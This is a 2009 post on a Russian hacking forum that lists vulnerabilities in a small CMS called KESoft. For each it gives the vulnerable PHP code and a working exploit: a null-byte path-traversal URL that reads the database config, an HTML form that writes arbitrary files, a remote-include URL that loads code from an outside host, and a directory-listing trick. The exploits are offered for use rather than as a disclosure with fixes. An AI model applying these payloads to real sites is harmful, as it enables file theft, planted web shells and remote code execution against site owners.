Показать сообщение отдельно

  #2  
Старый 21.08.2009, 23:23
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Цитата:
Сообщение от HAXTA4OK  
KESoft: CMS Кеша
Зачетная cms:

Чтение файлов:
Файл: blocks/auth.php
PHP код:
<?php
  $bdata
=file($l."blocks/Auth.dat");
  
$bdata=str_replace("@u_login@",$u,$bdata);
  
$bdata=str_replace("@u_pass@","",$bdata);
  for (
$ii=0$ii<count($bdata); $ii++) {
    echo 
$bdata[$ii];
Юзаем так: http://site.ru/RU(или ru)/blocks/auth.php?l=../../db.php%00

Создание произвольного файла:
Файл: RU(или ru)/blocks/BlockPar.php
PHP код:
if (count($_POST)>0) {
.....................
            if (
$_POST["Submit"]=="Сохранить изменения текста") {
            
$z="select fname from blocks where id=$par";
            
$tmpr=mysql_query($z,$connect);
            
$fp fopen ($l.mysql_result($tmpr,0,"fname"),"w");
            
fputs($fp,$_POST["BlockData"]);
            
fclose($fp);
            
$m="Содержимое файла блока <font color=green>заменено</font>";
            }; 
Юзаем так:

Код:
<html>
<head><title>pLoEnT na HTML!!!</title></head>
<body>
<form action="http://site.ru/RU(или ru)/blocks/BlockPar.php?l=../../file.php%00" method="post">
<textarea name="BlockData" cols="80" rows="10"></textarea>
<input type="submit" name="Submit" value="Сохранить изменения текста">
</form>
</body>
</html>
Ой, а там файлов больше чем я думал, продолжим:

Удалённый инклуд:
Файл: RU(или ru)/blocks/reg.php
PHP код:
<?php
  
include $l."blocks\\UserPar.php";
?>
Юзаем так: http://site.ru/RU(или ru)/blocks/reg.php?l=http://heck.ru/file.php?

Даже листинг дир в комплект входит:
Юзаем так: http://site.ru/RU(или ru)/blocks/moduls.php?l=../../%00 (правда вывод кривой, но это мелочи)

Нужно: mq=off, rg=on, ну а для удалённого инклуда ещё и allow_url_include=он

P.S. Там что не файл, то уязвимость)

Последний раз редактировалось Grey; 21.08.2009 в 23:40..
 
Ответить с цитированием